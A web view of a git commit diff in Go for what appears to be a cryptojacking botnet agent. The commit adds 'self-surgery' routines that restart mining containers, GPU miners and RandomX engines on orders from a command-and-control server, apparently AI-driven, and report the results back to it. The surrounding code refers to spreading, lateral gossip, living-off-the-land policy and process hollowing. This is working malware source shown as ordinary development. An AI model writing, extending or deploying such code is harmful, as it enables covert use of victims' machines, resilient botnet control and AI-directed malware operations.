Add mining self-surgery for on-host recovery when AI control detects stalls.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
When ai_control_enabled and mining interrupts or hashrate drops, the server composes same-agent fix plans (container restart, chain reorder, GPU swap, idle tune, RandomX restart) with Seer and oath ledger audit — no spread or lateral escalation.
This commit is contained in:
@@ -167,6 +167,11 @@ func (r *MiningChainRunner) startMiningCascade(ctx context.Context) {
|
||||
go r.ctrl.Monitor(monCtx)
|
||||
}
|
||||
|
||||
// StopBranchAttempt stops active branch methods without setting operator pause.
|
||||
func (r *MiningChainRunner) StopBranchAttempt() {
|
||||
r.ctrl.StopAll()
|
||||
}
|
||||
|
||||
// Stop halts all mining methods in the chain.
|
||||
func (r *MiningChainRunner) Stop() {
|
||||
r.mu.Lock()
|
||||
@@ -188,6 +193,23 @@ func (r *MiningChainRunner) Restart(ctx context.Context) {
|
||||
r.ctrl.RestartChain(ctx)
|
||||
}
|
||||
|
||||
// RestartContainer stops and relaunches the container/docker_load tier.
|
||||
func (r *MiningChainRunner) RestartContainer() error {
|
||||
r.stopContainer()
|
||||
return r.startContainer()
|
||||
}
|
||||
|
||||
// ReorderChain updates cascade order and optionally skips failed methods.
|
||||
func (r *MiningChainRunner) ReorderChain(chain, skip []miner.MiningMethod) {
|
||||
r.ctrl.ReorderChain(chain, skip)
|
||||
}
|
||||
|
||||
// SwapGPU restarts the parallel GPU subprocess miner.
|
||||
func (r *MiningChainRunner) SwapGPU() error {
|
||||
r.stopGPU()
|
||||
return r.startGPU()
|
||||
}
|
||||
|
||||
// Status returns the live cascade snapshot for stats/diagnostics.
|
||||
func (r *MiningChainRunner) Status() miner.MiningStatus {
|
||||
st := r.ctrl.Status()
|
||||
|
||||
@@ -35,6 +35,9 @@ func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) {
|
||||
c.setAtlasLanGossipEnabled(resp.AtlasLanGossipEnabled)
|
||||
c.applySpreadPolicyJSON(resp.SpreadPolicy)
|
||||
c.applyTripleOnionPolicyJSON(resp.TripleOnionPolicy)
|
||||
if len(resp.ContingencyPolicy) > 0 {
|
||||
c.applyContingencyPolicyJSON(resp.ContingencyPolicy)
|
||||
}
|
||||
if len(resp.MiningTierPolicy) > 0 {
|
||||
c.applyMiningTierPolicyJSON(resp.MiningTierPolicy)
|
||||
}
|
||||
@@ -52,6 +55,9 @@ func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) {
|
||||
if len(resp.EpidemiologyFix) > 0 {
|
||||
c.applyEpidemiologyFixJSON(resp.EpidemiologyFix)
|
||||
}
|
||||
if len(resp.MiningSelfSurgery) > 0 {
|
||||
c.applyMiningSelfSurgeryJSON(resp.MiningSelfSurgery)
|
||||
}
|
||||
if len(resp.SpreadTemperament) > 0 {
|
||||
c.mu.Lock()
|
||||
applySpreadTemperament(&c.cfg, resp.SpreadTemperament)
|
||||
|
||||
@@ -79,6 +79,8 @@ type AuthResponse struct {
|
||||
SpreadPolicy json.RawMessage `json:"spread_policy,omitempty"`
|
||||
GraftPolicy json.RawMessage `json:"graft_policy,omitempty"`
|
||||
EpidemiologyFix json.RawMessage `json:"epidemiology_fix,omitempty"`
|
||||
MiningSelfSurgery json.RawMessage `json:"mining_self_surgery,omitempty"`
|
||||
ContingencyPolicy json.RawMessage `json:"contingency_policy,omitempty"`
|
||||
}
|
||||
|
||||
type SharePayload struct {
|
||||
@@ -164,6 +166,7 @@ type StatsPayload struct {
|
||||
ParentAgentID string `json:"parent_agent_id,omitempty"`
|
||||
SpreadGeneration int `json:"spread_generation,omitempty"`
|
||||
SpreadStrain string `json:"spread_strain,omitempty"`
|
||||
ContingencyDepth int `json:"contingency_depth,omitempty"`
|
||||
|
||||
// Fleet role split telemetry (stats WS).
|
||||
FleetRole string `json:"fleet_role,omitempty"`
|
||||
|
||||
172
agent/client/self_surgery.go
Normal file
172
agent/client/self_surgery.go
Normal file
@@ -0,0 +1,172 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"log"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/miner"
|
||||
)
|
||||
|
||||
// MiningSelfSurgeryPlan is a server-pushed on-host mining recovery plan.
|
||||
type MiningSelfSurgeryPlan struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
Reason string `json:"reason"`
|
||||
Trigger string `json:"trigger"`
|
||||
Actions []string `json:"actions"`
|
||||
ChainOrder []string `json:"chain_order,omitempty"`
|
||||
SkipMethods []string `json:"skip_methods,omitempty"`
|
||||
IdleThresholdPct int `json:"idle_threshold_pct,omitempty"`
|
||||
}
|
||||
|
||||
// SelfSurgeryResult is one executed action outcome reported back to C2.
|
||||
type SelfSurgeryResult struct {
|
||||
Action string `json:"action"`
|
||||
OK bool `json:"ok"`
|
||||
Detail string `json:"detail,omitempty"`
|
||||
}
|
||||
|
||||
func (c *AgentClient) applyMiningSelfSurgeryJSON(raw json.RawMessage) {
|
||||
if len(raw) == 0 || string(raw) == "null" {
|
||||
return
|
||||
}
|
||||
var plan MiningSelfSurgeryPlan
|
||||
if err := json.Unmarshal(raw, &plan); err != nil {
|
||||
return
|
||||
}
|
||||
if plan.AgentID != "" && plan.AgentID != c.agentID {
|
||||
return
|
||||
}
|
||||
log.Printf("[agent] mining self-surgery queued: %s (%s)", plan.Reason, plan.Trigger)
|
||||
go c.executeMiningSelfSurgery(plan)
|
||||
}
|
||||
|
||||
func (c *AgentClient) executeMiningSelfSurgery(plan MiningSelfSurgeryPlan) {
|
||||
results := make([]SelfSurgeryResult, 0, len(plan.Actions))
|
||||
outcome := "ok"
|
||||
for _, action := range plan.Actions {
|
||||
action = strings.TrimSpace(strings.ToLower(action))
|
||||
if isForbiddenSelfSurgeryAction(action) {
|
||||
results = append(results, SelfSurgeryResult{Action: action, OK: false, Detail: "forbidden lateral action"})
|
||||
outcome = "partial"
|
||||
continue
|
||||
}
|
||||
ok, detail := c.runSelfSurgeryAction(action, plan)
|
||||
results = append(results, SelfSurgeryResult{Action: action, OK: ok, Detail: detail})
|
||||
if !ok {
|
||||
outcome = "partial"
|
||||
}
|
||||
}
|
||||
c.reportSelfSurgery(plan, outcome, results)
|
||||
}
|
||||
|
||||
func isForbiddenSelfSurgeryAction(action string) bool {
|
||||
switch action {
|
||||
case "discover_and_join", "discover_join", "spread_now", "spread_graft",
|
||||
"spread_retry_lane", "stage_fetch", "process_hollowing", "hollow":
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
func (c *AgentClient) runSelfSurgeryAction(action string, plan MiningSelfSurgeryPlan) (bool, string) {
|
||||
switch action {
|
||||
case "container_restart":
|
||||
return c.selfSurgeryContainerRestart()
|
||||
case "fallback_chain_reorder":
|
||||
return c.selfSurgeryFallbackReorder(plan)
|
||||
case "gpu_subprocess_swap":
|
||||
return c.selfSurgeryGPUSwap()
|
||||
case "idle_threshold_tune":
|
||||
return c.selfSurgeryIdleTune(plan.IdleThresholdPct)
|
||||
case "randomx_restart":
|
||||
return c.selfSurgeryRandomXRestart()
|
||||
default:
|
||||
return false, "unknown action"
|
||||
}
|
||||
}
|
||||
|
||||
func (c *AgentClient) selfSurgeryContainerRestart() (bool, string) {
|
||||
if c.miningChain == nil {
|
||||
return false, "mining chain unavailable"
|
||||
}
|
||||
if err := c.miningChain.RestartContainer(); err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
return true, "container restarted"
|
||||
}
|
||||
|
||||
func (c *AgentClient) selfSurgeryFallbackReorder(plan MiningSelfSurgeryPlan) (bool, string) {
|
||||
if c.miningChain == nil {
|
||||
return false, "mining chain unavailable"
|
||||
}
|
||||
chain := parseMiningMethodOrder(plan.ChainOrder)
|
||||
skip := parseMiningMethodOrder(plan.SkipMethods)
|
||||
c.miningChain.ReorderChain(chain, skip)
|
||||
c.miningChain.Restart(context.Background())
|
||||
return true, "fallback chain reordered"
|
||||
}
|
||||
|
||||
func (c *AgentClient) selfSurgeryGPUSwap() (bool, string) {
|
||||
if c.miningChain == nil {
|
||||
return false, "mining chain unavailable"
|
||||
}
|
||||
if err := c.miningChain.SwapGPU(); err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
return true, "gpu subprocess swapped"
|
||||
}
|
||||
|
||||
func (c *AgentClient) selfSurgeryIdleTune(pct int) (bool, string) {
|
||||
if pct <= 0 {
|
||||
return false, "idle_threshold_pct missing"
|
||||
}
|
||||
c.mu.Lock()
|
||||
c.cfg.IdleThresholdPct = pct
|
||||
cfg := c.cfg
|
||||
c.mu.Unlock()
|
||||
c.pool.UpdateRuntimePolicy(cfg)
|
||||
return true, "idle threshold updated"
|
||||
}
|
||||
|
||||
func (c *AgentClient) selfSurgeryRandomXRestart() (bool, string) {
|
||||
c.pool.RestartRandomX()
|
||||
c.pool.ResumeRemote()
|
||||
return true, "randomx restarted"
|
||||
}
|
||||
|
||||
func parseMiningMethodOrder(raw []string) []miner.MiningMethod {
|
||||
out := make([]miner.MiningMethod, 0, len(raw))
|
||||
for _, s := range raw {
|
||||
s = strings.TrimSpace(strings.ToLower(s))
|
||||
if s == "" {
|
||||
continue
|
||||
}
|
||||
out = append(out, miner.MiningMethod(s))
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func (c *AgentClient) reportSelfSurgery(plan MiningSelfSurgeryPlan, outcome string, results []SelfSurgeryResult) {
|
||||
payload, err := json.Marshal(struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
Trigger string `json:"trigger"`
|
||||
Reason string `json:"reason"`
|
||||
Outcome string `json:"outcome"`
|
||||
Results []SelfSurgeryResult `json:"results"`
|
||||
}{
|
||||
AgentID: c.agentID,
|
||||
Trigger: plan.Trigger,
|
||||
Reason: plan.Reason,
|
||||
Outcome: outcome,
|
||||
Results: results,
|
||||
})
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if err := c.write(Message{Type: "self_surgery_report", Payload: payload}); err != nil {
|
||||
log.Printf("[agent] self-surgery report failed: %v", err)
|
||||
}
|
||||
}
|
||||
50
agent/client/self_surgery_test.go
Normal file
50
agent/client/self_surgery_test.go
Normal file
@@ -0,0 +1,50 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
"crypto-miner-agent/miner"
|
||||
"crypto-miner-agent/stats"
|
||||
)
|
||||
|
||||
func TestSelfSurgeryIdleTune(t *testing.T) {
|
||||
reporter := stats.NewReporter()
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{IdleThresholdPct: 20}}
|
||||
pool := miner.NewPool(1, cfg, reporter, nil)
|
||||
c := &AgentClient{
|
||||
agentID: "agent-1",
|
||||
cfg: cfg,
|
||||
pool: pool,
|
||||
}
|
||||
ok, detail := c.selfSurgeryIdleTune(35)
|
||||
if !ok || detail == "" {
|
||||
t.Fatalf("ok=%v detail=%q", ok, detail)
|
||||
}
|
||||
if c.cfg.IdleThresholdPct != 35 {
|
||||
t.Fatalf("idle threshold=%d want 35", c.cfg.IdleThresholdPct)
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyMiningSelfSurgeryRejectsWrongAgent(t *testing.T) {
|
||||
c := &AgentClient{agentID: "mine", pool: miner.NewPool(1, config.RuntimeConfig{}, stats.NewReporter(), nil)}
|
||||
raw, _ := json.Marshal(MiningSelfSurgeryPlan{AgentID: "other", Actions: []string{"randomx_restart"}})
|
||||
c.applyMiningSelfSurgeryJSON(raw) // no-op: agent_id mismatch
|
||||
}
|
||||
|
||||
func TestForbiddenSelfSurgeryActionRejected(t *testing.T) {
|
||||
if !isForbiddenSelfSurgeryAction("discover_and_join") {
|
||||
t.Fatal("expected forbidden")
|
||||
}
|
||||
if isForbiddenSelfSurgeryAction("container_restart") {
|
||||
t.Fatal("container_restart should be allowed")
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseMiningMethodOrder(t *testing.T) {
|
||||
order := parseMiningMethodOrder([]string{"inprocess", "container"})
|
||||
if len(order) != 2 || order[0] != miner.MethodInProcess {
|
||||
t.Fatalf("order=%v", order)
|
||||
}
|
||||
}
|
||||
@@ -33,6 +33,15 @@ func NewEngine() *Engine {
|
||||
return &Engine{cache: cache}
|
||||
}
|
||||
|
||||
// Reset clears the VM so the next SetJob reinitializes RandomX state.
|
||||
func (e *Engine) Reset() {
|
||||
e.mu.Lock()
|
||||
defer e.mu.Unlock()
|
||||
e.vm = nil
|
||||
e.seedHex = ""
|
||||
e.blob = nil
|
||||
}
|
||||
|
||||
func (e *Engine) SetJob(seedHex, blobHex string) error {
|
||||
seed, err := hex.DecodeString(seedHex)
|
||||
if err != nil {
|
||||
|
||||
@@ -788,6 +788,31 @@ func (c *ChainController) SetChainOrderForTest(chain []MiningMethod) {
|
||||
c.mu.Unlock()
|
||||
}
|
||||
|
||||
// ReorderChain replaces the cascade order and optionally skips failed methods.
|
||||
func (c *ChainController) ReorderChain(chain []MiningMethod, skip []MiningMethod) {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
skipSet := make(map[MiningMethod]bool, len(skip))
|
||||
for _, m := range skip {
|
||||
skipSet[m] = true
|
||||
}
|
||||
if len(chain) > 0 {
|
||||
c.chain = append([]MiningMethod(nil), chain...)
|
||||
} else if len(skip) > 0 {
|
||||
filtered := make([]MiningMethod, 0, len(c.chain))
|
||||
for _, m := range c.chain {
|
||||
if !skipSet[m] {
|
||||
filtered = append(filtered, m)
|
||||
}
|
||||
}
|
||||
c.chain = filtered
|
||||
}
|
||||
c.failures = nil
|
||||
c.chainExhausted = false
|
||||
c.lastError = ""
|
||||
c.lastFullPass = time.Time{}
|
||||
}
|
||||
|
||||
// Monitor watches container health and advances the chain on exit.
|
||||
func (c *ChainController) Monitor(ctx context.Context) {
|
||||
ticker := time.NewTicker(10 * time.Second)
|
||||
|
||||
29
agent/miner/fallback_chain_reorder_test.go
Normal file
29
agent/miner/fallback_chain_reorder_test.go
Normal file
@@ -0,0 +1,29 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func TestReorderChainSkipsFailedMethods(t *testing.T) {
|
||||
c := NewChainController(config.RuntimeConfig{}, ChainHooks{}, nil)
|
||||
c.SetChainOrderForTest([]MiningMethod{MethodContainer, MethodInProcess, MethodGPUSubprocess})
|
||||
c.ReorderChain(nil, []MiningMethod{MethodContainer})
|
||||
st := c.Status()
|
||||
if len(st.ChainOrder) != 2 {
|
||||
t.Fatalf("chain=%v", st.ChainOrder)
|
||||
}
|
||||
if st.ChainOrder[0] != MethodInProcess {
|
||||
t.Fatalf("first=%v want inprocess", st.ChainOrder[0])
|
||||
}
|
||||
}
|
||||
|
||||
func TestReorderChainReplacesOrder(t *testing.T) {
|
||||
c := NewChainController(config.RuntimeConfig{}, ChainHooks{}, nil)
|
||||
c.ReorderChain([]MiningMethod{MethodInProcess, MethodWSL}, nil)
|
||||
st := c.Status()
|
||||
if len(st.ChainOrder) != 2 || st.ChainOrder[0] != MethodInProcess {
|
||||
t.Fatalf("chain=%v", st.ChainOrder)
|
||||
}
|
||||
}
|
||||
@@ -73,6 +73,22 @@ func (p *Pool) UpdateRuntimePolicy(cfg config.RuntimeConfig) {
|
||||
}
|
||||
}
|
||||
|
||||
// RestartRandomX reinitializes in-process RandomX engines and resumes hashing.
|
||||
func (p *Pool) RestartRandomX() {
|
||||
p.mu.Lock()
|
||||
job := p.currentJob
|
||||
engines := p.engines
|
||||
p.mu.Unlock()
|
||||
for _, engine := range engines {
|
||||
engine.Reset()
|
||||
}
|
||||
if job != nil {
|
||||
p.SetJob(job)
|
||||
}
|
||||
p.remotePause.Store(false)
|
||||
p.paused.Store(false)
|
||||
}
|
||||
|
||||
func (p *Pool) SetJob(job *job.Job) {
|
||||
p.mu.Lock()
|
||||
p.currentJob = job
|
||||
|
||||
Reference in New Issue
Block a user